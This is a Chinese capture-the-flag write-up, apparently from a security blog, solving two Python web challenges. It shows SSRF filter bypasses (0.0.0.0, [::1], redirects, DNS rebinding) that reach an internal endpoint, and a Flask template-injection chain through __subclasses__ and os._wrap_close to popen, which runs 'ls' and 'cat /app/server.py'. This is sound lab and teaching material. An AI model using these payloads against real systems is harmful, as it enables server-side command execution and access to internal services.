Python中的安全问题CTF
1.Python里的SSRF
题目提示
尝试访问到容器内部的 8000 端口和 url path /api/internal/secret 即可获取 flag
访问url:
http://f5704bb3-5869-4ecb-9bdc-58b022589224.node3.buuoj.cn/
回显如下:
通过提示构造payload:
?url=http://127.0.0.1:8000/api/internal/secret
进行访问
回显提示127.0.0.1是禁止的因为127.0.0.1是本地的地址,提示是说访问容器内部的地址
所以我们可以用0.0.0.0代替127.0.0.1
重新构造payload:
?url=http://0.0.0.0:8000/api/internal/secret
成功得到flag
其他不同的方式,得多尝试一下,
官方wp
本题有多重解法
- `0.0.0.0:8000` 绕过
- `[::1]:8000` 绕过(需要支持 ipv6)
- 重定向跳转到 `127.0.0.1:8000`
- dns rebinding 输入一个域名,第一次解析到非 `127.0.0.1` 地址上,第二个解析到 `127.0.0.1` 上。
2.python模板注入(SSTI)
访问url,页面回显 password is wrong,但是没有输入密码的地方
所以从 url 提交
?password={{3*3}}
发现可以识别并且正确回显
据回显的结果可以判断这是一个flask模板注入
参考
flask之ssti模版注入从零到入门
通过以下语句
/?password={{"".__class__.__bases__[0].__subclasses__()}}
拿到可用的类的列表
我们需要的是os命令执行类<class ‘os._wrap_close’>
我们要判断他所属的位置,这样才能进行索引,将全部类复制放到pycharm(与他有同样功能的工具也行),我们索引逗号的位置,我们索引到我们需要类的位置,再在索引他前面逗号的位置,我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,
我们可以先看一下我们索引的是否正确,输入url
/?password={{"".__class__.__bases__[0].__subclasses__()[127]}}
我这里索引的结果是127,如果不对上下浮动几位看一下,大概就这个位置,我这127是正确的,所以索引结果就是<class ‘os._wrap_close’>
构造语句,并执行ls命令(对方是Linux服务器,所以要使用Linux命令)
/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('ls').read()}}
文件夹如下
最引起我们注意的就是app这个文件夹
经过一些尝试(目录遍历什么的),我们得知flag就在/app/server.py中,我们直接用cat查看文件内容就行
/?password={{"".__class__.__bases__[0].__subclasses__()[127].__init__.__globals__['popen']('cat /app/server.py').read()}}
成功获取flag
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
https://rdyx0.github.io/
先知社区:
https://xz.aliyun.com/u/37846
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect
FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85